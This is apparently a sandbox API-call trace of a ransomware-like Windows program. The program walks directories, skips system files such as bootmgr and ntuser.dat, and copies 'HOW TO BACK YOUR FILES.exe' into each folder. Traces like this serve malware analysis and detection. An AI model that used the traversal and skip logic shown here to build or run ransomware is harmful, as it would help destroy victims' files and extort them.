	[0085.174] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.175] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.175] GetLastError () returned 0x0
	[0085.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.175] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.175] CloseHandle (hObject=0x10c) returned 1
	[0085.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.175] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.175] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.175] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.175] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.175] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.175] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.175] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.175] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.176] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.176] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.176] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ffbe310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.176] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.176] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ffbe310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0085.176] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.176] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
	[0085.176] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance"
	[0085.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0085.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0085.176] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance") returned 39
	[0085.176] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Assistance" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance"
	[0085.176] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.176] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.177] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.177] GetLastError () returned 0x0
	[0085.177] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.177] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.177] CloseHandle (hObject=0x10c) returned 1
	[0085.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.177] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.177] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.177] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.177] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.177] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.177] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.177] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.178] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.178] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.178] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.178] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="Apollon865.txt.exe") returned 1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2=".") returned 1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="..") returned 1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="windows") returned -1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="bootmgr") returned 1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="temp") returned -1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="pagefile.sys") returned -1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="boot") returned 1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="ids.txt") returned -1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="ntuser.dat") returned -1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="perflogs") returned -1
	[0085.178] lstrcmpiW (lpString1="Client", lpString2="MSBuild") returned -1
	[0085.178] lstrlenW (lpString="Client") returned 6
	[0085.178] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\*") returned 41
	[0085.178] lstrcpyW (in: lpString1=0x119e658, lpString2="Client" | out: lpString1="Client") returned="Client"
	[0085.178] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0085.178] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c55f8
	[0085.178] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7a90
	[0085.178] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.178] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.178] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0085.178] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.178] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
	[0085.178] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client"
	[0085.178] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0085.178] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0085.178] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned 46
	[0085.178] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client"
	[0085.178] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.178] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.179] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.179] GetLastError () returned 0x0
	[0085.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.179] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.179] CloseHandle (hObject=0x10c) returned 1
	[0085.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.179] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.180] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.180] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.180] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.180] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.180] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.180] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.180] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.180] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.180] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.180] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3000a5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="Apollon865.txt.exe") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2=".") returned 1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="..") returned 1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="windows") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="bootmgr") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="temp") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="pagefile.sys") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="boot") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="ids.txt") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="ntuser.dat") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="perflogs") returned -1
	[0085.180] lstrcmpiW (lpString1="1.0", lpString2="MSBuild") returned -1
	[0085.180] lstrlenW (lpString="1.0") returned 3
	[0085.180] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*") returned 48
	[0085.180] lstrcpyW (in: lpString1=0x119e666, lpString2="1.0" | out: lpString1="1.0") returned="1.0"
	[0085.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0085.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afce8
	[0085.180] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7a90
	[0085.180] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.180] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.180] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0085.181] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.181] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
	[0085.181] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0"
	[0085.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0085.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0085.181] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned 50
	[0085.181] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0"
	[0085.181] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.181] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.181] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.182] GetLastError () returned 0x0
	[0085.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.182] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.182] CloseHandle (hObject=0x10c) returned 1
	[0085.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.182] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.182] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3000a5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.182] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.182] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.182] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.182] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3000a5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.182] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.182] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.182] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.182] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.182] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30030730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0085.182] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0085.183] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0085.183] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0085.183] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0085.183] lstrlenW (lpString="en-US") returned 5
	[0085.183] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*") returned 52
	[0085.183] lstrcpyW (in: lpString1=0x119e66e, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0085.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0085.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0085.183] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7a90
